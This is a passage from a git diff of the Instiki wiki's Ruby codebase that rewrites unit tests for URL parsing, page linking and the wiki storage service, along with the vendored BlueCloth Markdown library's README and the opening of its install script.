'/_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_/an_action/HomePage') - ) - - assert_equal false, DispatchServlet.parse_uri('') - assert_equal false, DispatchServlet.parse_uri('//') - assert_equal false, DispatchServlet.parse_uri('web') - end - - def test_parse_uri_liberal_with_pagenames - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', :id => '$HOME_PAGE'}, - DispatchServlet.parse_uri('/web/show/$HOME_PAGE')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'HomePage/something_else'}, - DispatchServlet.parse_uri('/web/show/HomePage/something_else')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'HomePage?arg1=value1&arg2=value2'}, - DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'Page+With+Spaces'}, - DispatchServlet.parse_uri('/web/show/Page+With+Spaces')) - end - - def test_url_rewriting - request = ActionController::TestRequest.new - ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') - - assert_equal 'http://test.host/myweb/myaction', - ur.rewrite(:web => 'myweb', :controller => 'wiki', :action => 'myaction') - - assert_equal 'http://test.host/myOtherWeb/', - ur.rewrite(:web => 'myOtherWeb', :controller => 'wiki') - - assert_equal 'http://test.host/myaction', - ur.rewrite(:controller => 'wiki', :action => 'myaction') - - assert_equal 'http://test.host/', - ur.rewrite(:controller => 'wiki') - end - - def test_controller_mapping - request = ActionController::TestRequest.new - ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') - - assert_equal 'http://test.host/file', - ur.rewrite(:controller => 'file', :action => 'file') - assert_equal 'http://test.host/pic/abc.jpg', - ur.rewrite(:controller => 'file', :action => 'pic', :id => 'abc.jpg') - assert_equal 'http://test.host/web/pic/abc.jpg', - ur.rewrite(:web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg') - - # default option is wiki - assert_equal 'http://test.host/unknown_action', - ur.rewrite(:controller => 'wiki', :action => 'unknown_action') - end - +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'url_rewriting_hack' + +class UrlRewritingHackTest < Test::Unit::TestCase + + def test_parse_uri + assert_equal({:controller => 'wiki', :action => 'x', :web => nil}, + DispatchServlet.parse_uri('/x/')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, + DispatchServlet.parse_uri('/x/y')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, + DispatchServlet.parse_uri('/x/y/')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, + DispatchServlet.parse_uri('/x/y/z')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, + DispatchServlet.parse_uri('/x/y/z/')) + end + + def test_parse_uri_approot + assert_equal({:controller => 'wiki', :action => 'index', :web => nil}, + DispatchServlet.parse_uri('/wiki/')) + end + + def test_parse_uri_interestng_cases + + assert_equal({:web => '_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_', + :controller => 'wiki', + :action => 'an_action', :id => 'HomePage' + }, + DispatchServlet.parse_uri( + '/_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_/an_action/HomePage') + ) + + assert_equal false, DispatchServlet.parse_uri('') + assert_equal false, DispatchServlet.parse_uri('//') + assert_equal false, DispatchServlet.parse_uri('web') + end + + def test_parse_uri_liberal_with_pagenames + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', :id => '$HOME_PAGE'}, + DispatchServlet.parse_uri('/web/show/$HOME_PAGE')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'HomePage/something_else'}, + DispatchServlet.parse_uri('/web/show/HomePage/something_else')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'HomePage?arg1=value1&arg2=value2'}, + DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'Page+With+Spaces'}, + DispatchServlet.parse_uri('/web/show/Page+With+Spaces')) + end + + def test_url_rewriting + request = ActionController::TestRequest.new + ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') + + assert_equal 'http://test.host/myweb/myaction', + ur.rewrite(:web => 'myweb', :controller => 'wiki', :action => 'myaction') + + assert_equal 'http://test.host/myOtherWeb/', + ur.rewrite(:web => 'myOtherWeb', :controller => 'wiki') + + assert_equal 'http://test.host/myaction', + ur.rewrite(:controller => 'wiki', :action => 'myaction') + + assert_equal 'http://test.host/', + ur.rewrite(:controller => 'wiki') + end + + def test_controller_mapping + request = ActionController::TestRequest.new + ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') + + assert_equal 'http://test.host/file', + ur.rewrite(:controller => 'file', :action => 'file') + assert_equal 'http://test.host/pic/abc.jpg', + ur.rewrite(:controller => 'file', :action => 'pic', :id => 'abc.jpg') + assert_equal 'http://test.host/web/pic/abc.jpg', + ur.rewrite(:web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg') + + # default option is wiki + assert_equal 'http://test.host/unknown_action', + ur.rewrite(:controller => 'wiki', :action => 'unknown_action') + end + end \ No newline at end of file diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index 072a0429..57e9a61a 100755 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -1,130 +1,130 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_service' - -class WebTest < Test::Unit::TestCase - def setup - @web = Web.new nil, 'Instiki', 'instiki' - end - - def test_wiki_word_linking - @web.add_page(Page.new(@web, 'SecondPage', 'Yo, yo. Have you EverBeenHated', Time.now, - 'DavidHeinemeierHansson')) - - assert_equal('

            Yo, yo. Have you Ever Been Hated' + - '?

            ', - @web.pages["SecondPage"].display_content) - - @web.add_page(Page.new(@web, 'EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, - 'DavidHeinemeierHansson')) - assert_equal('

            Yo, yo. Have you Ever Been Hated

            ', - @web.pages['SecondPage'].display_content) - end - - def test_pages_by_revision - add_sample_pages - assert_equal 'EverBeenHated', @web.select.by_revision.first.name - end - - def test_pages_by_match - add_sample_pages - assert_equal 2, @web.select { |page| page.content =~ /me/i }.length - assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length - assert_equal 0, @web.select { |page| page.content =~ /none/i }.length - end - - def test_references - add_sample_pages - assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length - assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length - end - - def test_delete - add_sample_pages - assert_equal 2, @web.pages.length - @web.remove_pages([ @web.pages['EverBeenInLove'] ]) - assert_equal 1, @web.pages.length - end - - def test_make_link - add_sample_pages - - existing_page_wiki_url = - 'Ever Been In Love' - existing_page_published_url = - 'Ever Been In Love' - existing_page_static_url = - 'Ever Been In Love' - new_page_wiki_url = - 'Unknown Word?' - new_page_published_url = - new_page_static_url = - 'Unknown Word' - - # no options - assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove') - - # :mode => :export - assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export) - - # :mode => :publish - assert_equal existing_page_published_url, - @web.make_link('EverBeenInLove', nil, :mode => :publish) - - # new page, no options - assert_equal new_page_wiki_url, @web.make_link('UnknownWord') - - # new page, :mode => :export - assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export) - - # new page, :mode => :publish - assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish) - - # Escaping special characters in the name - assert_equal( - 'Smith & Wesson?', - @web.make_link('Smith & Wesson')) - - # optionally using text as the link text - assert_equal( - existing_page_published_url.sub(/>Ever Been In LoveHaven't you ever been in love?<"), - @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish)) - - end - - def test_initialize - wiki_stub = Object.new - - web = Web.new(wiki_stub, 'Wiki2', 'wiki2', '123') - - assert_equal wiki_stub, web.wiki - assert_equal 'Wiki2', web.name - assert_equal 'wiki2', web.address - assert_equal '123', web.password - - # new web should be set for maximum features enabled - assert_equal :textile, web.markup - assert_equal '008B26', web.color - assert !web.safe_mode - assert_equal {}, web.pages - assert web.allow_uploads - assert_equal @wiki, web.parent_wiki - assert_nil web.additional_style - assert !web.published - assert !web.brackets_only - assert !web.count_pages - assert web.allow_uploads - end - - - private - - def add_sample_pages - @web.add_page(Page.new(@web, 'EverBeenInLove', 'Who am I me', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')) - @web.add_page(Page.new(@web, 'EverBeenHated', 'I am me EverBeenHated', - Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson')) - end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_service' + +class WebTest < Test::Unit::TestCase + def setup + @web = Web.new nil, 'Instiki', 'instiki' + end + + def test_wiki_word_linking + @web.add_page(Page.new(@web, 'SecondPage', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson')) + + assert_equal('

            Yo, yo. Have you Ever Been Hated' + + '?

            ', + @web.pages["SecondPage"].display_content) + + @web.add_page(Page.new(@web, 'EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson')) + assert_equal('

            Yo, yo. Have you Ever Been Hated

            ', + @web.pages['SecondPage'].display_content) + end + + def test_pages_by_revision + add_sample_pages + assert_equal 'EverBeenHated', @web.select.by_revision.first.name + end + + def test_pages_by_match + add_sample_pages + assert_equal 2, @web.select { |page| page.content =~ /me/i }.length + assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length + assert_equal 0, @web.select { |page| page.content =~ /none/i }.length + end + + def test_references + add_sample_pages + assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length + assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length + end + + def test_delete + add_sample_pages + assert_equal 2, @web.pages.length + @web.remove_pages([ @web.pages['EverBeenInLove'] ]) + assert_equal 1, @web.pages.length + end + + def test_make_link + add_sample_pages + + existing_page_wiki_url = + 'Ever Been In Love' + existing_page_published_url = + 'Ever Been In Love' + existing_page_static_url = + 'Ever Been In Love' + new_page_wiki_url = + 'Unknown Word?' + new_page_published_url = + new_page_static_url = + 'Unknown Word' + + # no options + assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove') + + # :mode => :export + assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export) + + # :mode => :publish + assert_equal existing_page_published_url, + @web.make_link('EverBeenInLove', nil, :mode => :publish) + + # new page, no options + assert_equal new_page_wiki_url, @web.make_link('UnknownWord') + + # new page, :mode => :export + assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export) + + # new page, :mode => :publish + assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish) + + # Escaping special characters in the name + assert_equal( + 'Smith & Wesson?', + @web.make_link('Smith & Wesson')) + + # optionally using text as the link text + assert_equal( + existing_page_published_url.sub(/>Ever Been In LoveHaven't you ever been in love?<"), + @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish)) + + end + + def test_initialize + wiki_stub = Object.new + + web = Web.new(wiki_stub, 'Wiki2', 'wiki2', '123') + + assert_equal wiki_stub, web.wiki + assert_equal 'Wiki2', web.name + assert_equal 'wiki2', web.address + assert_equal '123', web.password + + # new web should be set for maximum features enabled + assert_equal :textile, web.markup + assert_equal '008B26', web.color + assert !web.safe_mode + assert_equal {}, web.pages + assert web.allow_uploads + assert_equal @wiki, web.parent_wiki + assert_nil web.additional_style + assert !web.published + assert !web.brackets_only + assert !web.count_pages + assert web.allow_uploads + end + + + private + + def add_sample_pages + @web.add_page(Page.new(@web, 'EverBeenInLove', 'Who am I me', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')) + @web.add_page(Page.new(@web, 'EverBeenHated', 'I am me EverBeenHated', + Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson')) + end end \ No newline at end of file diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index 8f3cec6a..d5f16246 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -1,116 +1,116 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_service' -require 'fileutils' - -class WikiServiceTest < Test::Unit::TestCase - - # Clean the test storage directory before the run - unless defined? @@storage_cleaned - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.command_log']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.snapshot']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.tex']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.zip']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.pdf']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/instiki/*']) - @@cleaned_storage = true - WikiService.instance.setup('pswd', 'Wiki', 'wiki') - end - - def setup - @s = WikiService.instance - @s.create_web 'Instiki', 'instiki' - @web = @s.webs['instiki'] - end - - def teardown - @s.delete_web 'instiki' - end - - def test_read_write_page - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content - end - - def test_read_only_operations - @s.write_page 'instiki', 'TestReadOnlyOperations', 'Read only operations dont change the' + - 'state of any object, and therefore should not be logged by Madeleine!', - Time.now, 'AlexeyVerkhovsky' - - assert_doesnt_change_state_or_log :authenticate, 'pswd' - assert_doesnt_change_state_or_log :read_page, 'instiki', 'TestReadOnlyOperations' - assert_doesnt_change_state_or_log :setup? - assert_doesnt_change_state_or_log :webs - - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content - end - - def test_aborted_transaction - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - 10.minutes.ago, 'DavidHeinemeierHansson' - - assert_doesnt_change_state('revise_page with unchanged content') { - begin - @s.revise_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - fail 'Expected Instiki::ValidationError not raised' - rescue Instiki::ValidationError - end - } - end - - def test_file_yard - file_yard = @s.file_yard(@web) - assert_equal FileYard, file_yard.class - assert_equal(@s.storage_path + '/instiki', file_yard.files_path) - end - - - # Checks that a method call or a block doesn;t change the persisted state of the wiki - # Usage: - # assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations' - # or - # assert_doesnt_change_state {|wiki| wiki.webs} - - def assert_doesnt_change_state(method, *args, &block) - _assert_doesnt_change_state(including_command_log = false, method, *args, &block) - end - - # Same as assert_doesnt_change_state, but also asserts that no vommand log is generated - def assert_doesnt_change_state_or_log(method, *args, &block) - _assert_doesnt_change_state(including_command_log = true, method, *args, &block) - end - - private - - def _assert_doesnt_change_state(including_log, method, *args) - WikiService.snapshot - last_snapshot_before = last_snapshot - - if block_given? - yield @s - else - @s.send(method, *args) - end - - if including_log - command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log'] - assert command_logs.empty?, "Calls to #{method} should not be logged" - end - - last_snapshot_after = last_snapshot - assert last_snapshot_before == last_snapshot_after, - 'Calls to #{method} should not change the state of any persisted object' - end - - def last_snapshot - snapshots = Dir[RAILS_ROOT + '/storage/test/*.snapshot'] - assert !snapshots.empty?, "No snapshots found at #{RAILS_ROOT}/storage/test/" - File.read(snapshots.last) - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_service' +require 'fileutils' + +class WikiServiceTest < Test::Unit::TestCase + + # Clean the test storage directory before the run + unless defined? @@storage_cleaned + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.command_log']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.snapshot']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.tex']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.zip']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.pdf']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/instiki/*']) + @@cleaned_storage = true + WikiService.instance.setup('pswd', 'Wiki', 'wiki') + end + + def setup + @s = WikiService.instance + @s.create_web 'Instiki', 'instiki' + @web = @s.webs['instiki'] + end + + def teardown + @s.delete_web 'instiki' + end + + def test_read_write_page + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content + end + + def test_read_only_operations + @s.write_page 'instiki', 'TestReadOnlyOperations', 'Read only operations dont change the' + + 'state of any object, and therefore should not be logged by Madeleine!', + Time.now, 'AlexeyVerkhovsky' + + assert_doesnt_change_state_or_log :authenticate, 'pswd' + assert_doesnt_change_state_or_log :read_page, 'instiki', 'TestReadOnlyOperations' + assert_doesnt_change_state_or_log :setup? + assert_doesnt_change_state_or_log :webs + + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content + end + + def test_aborted_transaction + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + 10.minutes.ago, 'DavidHeinemeierHansson' + + assert_doesnt_change_state('revise_page with unchanged content') { + begin + @s.revise_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + fail 'Expected Instiki::ValidationError not raised' + rescue Instiki::ValidationError + end + } + end + + def test_file_yard + file_yard = @s.file_yard(@web) + assert_equal FileYard, file_yard.class + assert_equal(@s.storage_path + '/instiki', file_yard.files_path) + end + + + # Checks that a method call or a block doesn;t change the persisted state of the wiki + # Usage: + # assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations' + # or + # assert_doesnt_change_state {|wiki| wiki.webs} + + def assert_doesnt_change_state(method, *args, &block) + _assert_doesnt_change_state(including_command_log = false, method, *args, &block) + end + + # Same as assert_doesnt_change_state, but also asserts that no vommand log is generated + def assert_doesnt_change_state_or_log(method, *args, &block) + _assert_doesnt_change_state(including_command_log = true, method, *args, &block) + end + + private + + def _assert_doesnt_change_state(including_log, method, *args) + WikiService.snapshot + last_snapshot_before = last_snapshot + + if block_given? + yield @s + else + @s.send(method, *args) + end + + if including_log + command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log'] + assert command_logs.empty?, "Calls to #{method} should not be logged" + end + + last_snapshot_after = last_snapshot + assert last_snapshot_before == last_snapshot_after, + 'Calls to #{method} should not change the state of any persisted object' + end + + def last_snapshot + snapshots = Dir[RAILS_ROOT + '/storage/test/*.snapshot'] + assert !snapshots.empty?, "No snapshots found at #{RAILS_ROOT}/storage/test/" + File.read(snapshots.last) + end + +end diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb index bde3eeac..a1aa1ff9 100755 --- a/test/unit/wiki_words_test.rb +++ b/test/unit/wiki_words_test.rb @@ -1,14 +1,14 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_words' - -class WikiWordsTest < Test::Unit::TestCase - - def test_utf8_characters_in_wiki_word - assert_equal "Æåle Øen", WikiWords.separate("ÆåleØen") - assert_equal "ÆÅØle Øen", WikiWords.separate("ÆÅØleØen") - assert_equal "Æe ÅØle Øen", WikiWords.separate("ÆeÅØleØen") - assert_equal "Legetøj", WikiWords.separate("Legetøj") - end -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_words' + +class WikiWordsTest < Test::Unit::TestCase + + def test_utf8_characters_in_wiki_word + assert_equal "Æåle Øen", WikiWords.separate("ÆåleØen") + assert_equal "ÆÅØle Øen", WikiWords.separate("ÆÅØleØen") + assert_equal "Æe ÅØle Øen", WikiWords.separate("ÆeÅØleØen") + assert_equal "Legetøj", WikiWords.separate("Legetøj") + end +end diff --git a/vendor/bluecloth-1.0.0/README b/vendor/bluecloth-1.0.0/README index f4021044..3f6e5750 100755 --- a/vendor/bluecloth-1.0.0/README +++ b/vendor/bluecloth-1.0.0/README @@ -1,99 +1,99 @@ - -BlueCloth -========= - -Version 1.0.0 - 2004/08/24 - -Original version by John Gruber . -Ruby port by Michael Granger . - -BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion -tool for web writers. To quote from the project page: Markdown allows you to -write using an easy-to-read, easy-to-write plain text format, then convert it to -structurally valid XHTML (or HTML). - -It borrows a naming convention and several helpings of interface from -[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML -conversion syntax called [Textile][4]. - - -Installation ------------- - -You can install this module either by running the included `install.rb` script, -or by simply copying `lib/bluecloth.rb` to a directory in your load path. - - -Dependencies ------------- - -BlueCloth uses the `StringScanner` class from the `strscan` library, which comes -with Ruby 1.8.x and later or may be downloaded from the RAA for earlier -versions, and the `logger` library, which is also included in 1.8.x and later. - - -Example Usage -------------- - -The BlueCloth class is a subclass of Ruby's String, and can be used thusly: - - bc = BlueCloth::new( str ) - puts bc.to_html - -This `README` file is an example of Markdown syntax. The sample program -`bluecloth` in the `bin/` directory can be used to convert this (or any other) -file with Markdown syntax into HTML: - - $ bin/bluecloth README > README.html - - -Acknowledgements ----------------- - -This library is a port of the canonical Perl one, and so owes most of its -functionality to its author, John Gruber. The bugs in this code are most -certainly an artifact of my porting it and not an artifact of the excellent code -from which it is derived. - -It also, as mentioned before, borrows its API liberally from RedCloth, both for -compatibility's sake, and because I think Why's code is beautiful. His excellent -code and peerless prose have been an inspiration to me, and this module is -intended as the sincerest flattery. - -Also contributing to any success this module may enjoy are those among my peers -who have taken the time to help out, either by submitting patches, testing, or -offering suggestions and review: - -* Martin Chase -* Florian Gross - - -Author/Legal ------------- - -Original version: -Copyright (c) 2003-2004 John Gruber - -All rights reserved. - -Ruby version: -Copyright (c) 2004 The FaerieMUD Consortium - -BlueCloth is free software; you can redistribute it and/or modify it under the -terms of the GNU General Public License as published by the Free Software -Foundation; either version 2 of the License, or (at your option) any later -version. - -BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A -PARTICULAR PURPOSE. See the GNU General Public License for more details. - - - [1]: http://daringfireball.net/projects/markdown/ - [2]: http://www.whytheluckystiff.net/ruby/redcloth/ - [3]: http://www.whytheluckystiff.net/ - [4]: http://www.textism.com/tools/textile/ - - -$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $ + +BlueCloth +========= + +Version 1.0.0 - 2004/08/24 + +Original version by John Gruber . +Ruby port by Michael Granger . + +BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion +tool for web writers. To quote from the project page: Markdown allows you to +write using an easy-to-read, easy-to-write plain text format, then convert it to +structurally valid XHTML (or HTML). + +It borrows a naming convention and several helpings of interface from +[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML +conversion syntax called [Textile][4]. + + +Installation +------------ + +You can install this module either by running the included `install.rb` script, +or by simply copying `lib/bluecloth.rb` to a directory in your load path. + + +Dependencies +------------ + +BlueCloth uses the `StringScanner` class from the `strscan` library, which comes +with Ruby 1.8.x and later or may be downloaded from the RAA for earlier +versions, and the `logger` library, which is also included in 1.8.x and later. + + +Example Usage +------------- + +The BlueCloth class is a subclass of Ruby's String, and can be used thusly: + + bc = BlueCloth::new( str ) + puts bc.to_html + +This `README` file is an example of Markdown syntax. The sample program +`bluecloth` in the `bin/` directory can be used to convert this (or any other) +file with Markdown syntax into HTML: + + $ bin/bluecloth README > README.html + + +Acknowledgements +---------------- + +This library is a port of the canonical Perl one, and so owes most of its +functionality to its author, John Gruber. The bugs in this code are most +certainly an artifact of my porting it and not an artifact of the excellent code +from which it is derived. + +It also, as mentioned before, borrows its API liberally from RedCloth, both for +compatibility's sake, and because I think Why's code is beautiful. His excellent +code and peerless prose have been an inspiration to me, and this module is +intended as the sincerest flattery. + +Also contributing to any success this module may enjoy are those among my peers +who have taken the time to help out, either by submitting patches, testing, or +offering suggestions and review: + +* Martin Chase +* Florian Gross + + +Author/Legal +------------ + +Original version: +Copyright (c) 2003-2004 John Gruber + +All rights reserved. + +Ruby version: +Copyright (c) 2004 The FaerieMUD Consortium + +BlueCloth is free software; you can redistribute it and/or modify it under the +terms of the GNU General Public License as published by the Free Software +Foundation; either version 2 of the License, or (at your option) any later +version. + +BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A +PARTICULAR PURPOSE. See the GNU General Public License for more details. + + + [1]: http://daringfireball.net/projects/markdown/ + [2]: http://www.whytheluckystiff.net/ruby/redcloth/ + [3]: http://www.whytheluckystiff.net/ + [4]: http://www.textism.com/tools/textile/ + + +$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $ diff --git a/vendor/bluecloth-1.0.0/install.rb b/vendor/bluecloth-1.0.0/install.rb index d8708eb6..ab57d333 100755 --- a/vendor/bluecloth-1.0.0/install.rb +++ b/vendor/bluecloth-1.0.0/install.rb @@ -1,150 +1,150 @@ -#!/usr/bin/ruby -# -# BlueCloth Module Install Script -# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Thanks to Masatoshi SEKI for ideas found in his install.rb. -# -# Copyright (c) 2001-2004 The FaerieMUD Consortium. -# -# This is free software. You may use, modify, and/or redistribute this -# software under the terms of the Perl Artistic License. (See -# http://language.perl.com/misc/Artistic.html) -# - -require './utils.rb' -include UtilityFunctions - -require 'rbconfig' -include Config - -require 'find' -require 'ftools' - - -$version = %q$Revision: 1.1 $ -$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ - -# Define required libraries -RequiredLibraries = [ - # libraryname, nice name, RAA URL, Download URL - [ 'strscan', "StrScan", - 'http://raa.ruby-lang.org/list.rhtml?name=strscan', - 'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ], - [ 'logger', "Devel-Logger", - 'http://raa.ruby-lang.org/list.rhtml?name=devel-logger', - 'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ], -] - -class Installer - - @@PrunePatterns = [ - /CVS/, - /~$/, - %r:(^|/)\.:, - /\.tpl$/, - ] - - def initialize( testing=false ) - @ftools = (testing) ? self : File - end - - ### Make the specified dirs (which can be a String or an Array of Strings) - ### with the specified mode. - def makedirs( dirs, mode=0755, verbose=false ) - dirs = [ dirs ] unless dirs.is_a? Array - - oldumask = File::umask - File::umask( 0777 - mode ) - - for dir in dirs - if @ftools == File - File::mkpath( dir, $verbose ) - else - $stderr.puts "Make path %s with mode %o" % [ dir, mode ] - end - end - - File::umask( oldumask ) - end - - def install( srcfile, dstfile, mode=nil, verbose=false ) - dstfile = File.catname(srcfile, dstfile) - unless FileTest.exist? dstfile and File.cmp srcfile, dstfile - $stderr.puts " install #{srcfile} -> #{dstfile}" - else - $stderr.puts " skipping #{dstfile}: unchanged" - end - end - - public - - def installFiles( src, dstDir, mode=0444, verbose=false ) - directories = [] - files = [] - - if File.directory?( src ) - Find.find( src ) {|f| - Find.prune if @@PrunePatterns.find {|pat| f =~ pat} - next if f == src - - if FileTest.directory?( f ) - directories << f.gsub( /^#{src}#{File::Separator}/, '' ) - next - - elsif FileTest.file?( f ) - files << f.gsub( /^#{src}#{File::Separator}/, '' ) - - else - Find.prune - end - } - else - files << File.basename( src ) - src = File.dirname( src ) - end - - dirs = [ dstDir ] - dirs |= directories.collect {|d| File.join(dstDir,d)} - makedirs( dirs, 0755, verbose ) - files.each {|f| - srcfile = File.join(src,f) - dstfile = File.dirname(File.join( dstDir,f )) - - if verbose - if mode - $stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode - else - $stderr.puts "Install #{srcfile} -> #{dstfile}" - end - end - - @ftools.install( srcfile, dstfile, mode, verbose ) - } - end - -end - -if $0 == __FILE__ - header "BlueCloth Installer #$version" - - for lib in RequiredLibraries - testForRequiredLibrary( *lib ) - end - - viewOnly = ARGV.include? '-n' - verbose = ARGV.include? '-v' - - debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'" - sitelibdir = CONFIG['sitelibdir'] - debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'" - sitearchdir = CONFIG['sitearchdir'] - - message "Installing\n" - i = Installer.new( viewOnly ) - i.installFiles( "lib", sitelibdir, 0444, verbose ) -end - - - - +#!/usr/bin/ruby +# +# BlueCloth Module Install Script +# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Thanks to Masatoshi SEKI for ideas found in his install.rb. +# +# Copyright (c) 2001-2004 The FaerieMUD Consortium. +# +# This is free software. You may use, modify, and/or redistribute this +# software under the terms of the Perl Artistic License. (See +# http://language.perl.com/misc/Artistic.html) +# + +require './utils.rb' +include UtilityFunctions + +require 'rbconfig' +include Config + +require 'find' +require 'ftools' + + +$version = %q$Revision: 1.1 $ +$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ + +# Define required libraries +RequiredLibraries = [ + # libraryname, nice name, RAA URL, Download URL + [ 'strscan', "StrScan", + 